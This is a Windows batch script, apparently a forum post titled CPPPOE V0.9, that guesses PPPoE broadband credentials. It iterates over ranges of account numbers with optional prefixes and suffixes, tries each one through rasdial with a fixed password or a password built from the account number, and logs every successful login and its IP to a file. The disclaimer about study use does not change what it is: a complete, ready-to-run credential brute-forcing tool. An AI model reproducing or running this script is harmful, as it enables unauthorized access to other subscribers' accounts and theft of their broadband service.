CODE: [Copy to clipboard]
@echo off
cls
title CPPPOE V0.9 by sokon
echo 宽带密码猜解 CPPPOE V0.9 by sokon
echo.
echo 仅供学习研究之用,不得用于非法目的!
echo 使用者需自行承担可能造成的所有法律责任!
echo 转载请注明来源并保留全部说明!
echo.
echo.
:start
setlocal
set dialname=
set function=
set no1=
set no2=
set nofixl=
set nofixr=
set password=
set passfixl=
set passfixr=
set user=
set pass=
set/p dialname=请输入宽带连接名(默认为CPPPOE):
if "%dialname%"=="" set dialname=CPPPOE
:function
set/p function=请选择猜解方式(1.固定密码方式 2.前/后缀密码方式):
if "%function%"=="1" goto function1
if "%function%"=="2" goto function2
echo 输入错误!&echo.&goto function
:function1
set/p password=请输入完整的固定密码:
if "%password%"=="" echo 密码不能为空!&echo.&goto function1
goto functionend
:function2
set/p passfixl=请输入密码前缀(如果没有前缀,请直接回车):
set/p passfixr=请输入密码后缀(如果没有后缀,请直接回车):
:functionend
goto no_input
:no_input_back
set i=%no1%
rasphone -h %dialname%>nul
set ip=
title CPPPOE V0.9 by sokon (%no1% - %no2%)
set pass=%password%
:RT
:pass
if "%function%"=="1" goto user
set pass=%passfixl%%i%%passfixr%
:user
set user=%nofixl%%i%%nofixr%
echo 正在尝试 帐号:%user% 密码:%pass% ...
rasphone -h %dialname>nul
rasdial %dialname% %user% %pass%>nul
for /f "tokens=1" %%b in ('rasdial^|find /i "%dialname%"') do (goto success)
:continue
if %i%==%no2% goto end
set /a i+=1
goto RT
:success
for /f "tokens=15" %%a in ('ipconfig^|find /i "ip address"') do (set ip=%%a)
echo %date% %time% %user% %pass% %ip%>>result.txt
echo 连接成功! IP为 %ip%
rasphone -h %dialname%>nul
ping -n 2 127.1>nul
goto continue
:no_input
:no1
set/p no1=请输入起始帐号(只能为非0开头的数字,如有0开头,稍后请将0作为前缀输入):
if "%no1%"=="" echo 起始帐号不能为空!&echo.&goto no1
set/p no2=请输入结束帐号(只能为非0开头的数字,如有0开头,稍后请将0作为前缀输入):
if "%no2%"=="" echo 结束帐号不能为空!&echo.&goto no2
set/p nofixl=请输入帐号前缀(如果没有前缀,请直接回车):
set/p nofixr=请输入帐号后缀(如果没有后缀,请直接回车):
:no_input_end
goto no_input_back
:end
endlocal
[